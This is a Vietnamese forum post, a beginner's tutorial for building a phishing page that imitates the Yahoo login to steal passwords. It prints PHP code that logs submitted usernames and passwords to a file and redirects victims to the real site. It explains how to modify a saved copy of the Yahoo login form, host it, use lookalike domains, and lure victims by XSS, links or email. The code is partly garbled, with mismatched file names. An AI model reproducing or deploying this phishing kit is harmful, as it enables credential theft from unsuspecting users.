Tut hack nick Yh...dành cho newbie thôi nhé !!!keke

[Hacking] Hướng dẫn làm trang yahoo giả mạo lừa lấy mật khẩu

Đầu tiên là khuyên AE nên " tham khảo học tập - không nên hack thương mại hoá " câu này của codevn...keke nhưng phá chơi thì không ai cấm...nói nhiều quá rồi AE xem tut dưới mà thực hành nhé........

- Nhân tiện đây mình cũng xin hướng dẫn các bạn cách làm trang đăng nhập yahoo,gmail... giả mạo để lừa lấy mật khẩu ...

- Còn làm sao để người ta đăng nhập bằng trang yahoo mạo đó thì do bạn: lợi dụng bug xss, hay gởi link đến nạn nhân dụ dỗ, hay email ... tùy ứng của bạn

- Yêu cầu của mình là khi bạn đọc hướng dẫn bạn làm theo và bạn phải hiểu vấn đề vì sao phải làm thế này thế kia :)

- Cái này thì cũ ri'c từ thời Hùng Vương đến giờ rùi, nhưng đôi lúc vẫn cần va't ra sử dụng đó ... Đồ cũ mà lại hiếm và hay nhìu người ko để ý.

1/ Đầu tiên mở notepad gõ vào nội dung sau:
$now = date("H:i:s Y-m-d");
$ten = $_POST['login'];
$matkhau = $_POST['passwd'];
$f=fopen("yahoo_.txt","a");
fwrite($f," $now ---- User: $ten ---- Pass: $matkhau ----\n");
fclose($f);
?>
<><>
<>location.href="http://mail.yahoo.com"< / script >
< /body>< / html>


Lưu lại với tên yahoo.php

2/ Tạo thêm 1 file y.txt với nội dung trống rỗng nữa
3/ Vào trang mail.yahoo.com save as toàn bộ trang web lại
- Mở file htm lên bằng wordpad hoặc bằng trình soạn thảo nào đó như Notepad, Notepad++,EditPlus...
Tìm dòng:
< method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form" onsubmit="return hash2(this)">

Và thay thế vào đó
< form name="login_form" action="y.php" method="post">


4/ Bây giờ bạn chỉ cần up lên host (host hỗ trợ php). Và CHMOD file y.txt là 777 ( cí chmod nài chắc cần có bài viết riêng về nó ??)
5/ Xong...

+++ Ngoài ra các bạn có thể giả mạo form đăng nhập bất kì site nào bằng cách tương tự như trên.....voọc thôi...hehe

Cái này đơn giản là lấy code của 1 site rùi sữa lại để nó lưu các biến tên đăng nhập và Pass vào file y.txt
Nhưng còn thiếu một bước là phải tạo domain giống yahoo. VD: yahoo.con.vn
Như thế sẽ thành công hơn.
Nhưng cũng chỉ có gà mới bị lừa. Vì yahoo đã thông báo sẽ ko bao giờ có các thông báo đến người sử dụng các việc sữa đổi hay đăng nhập gì.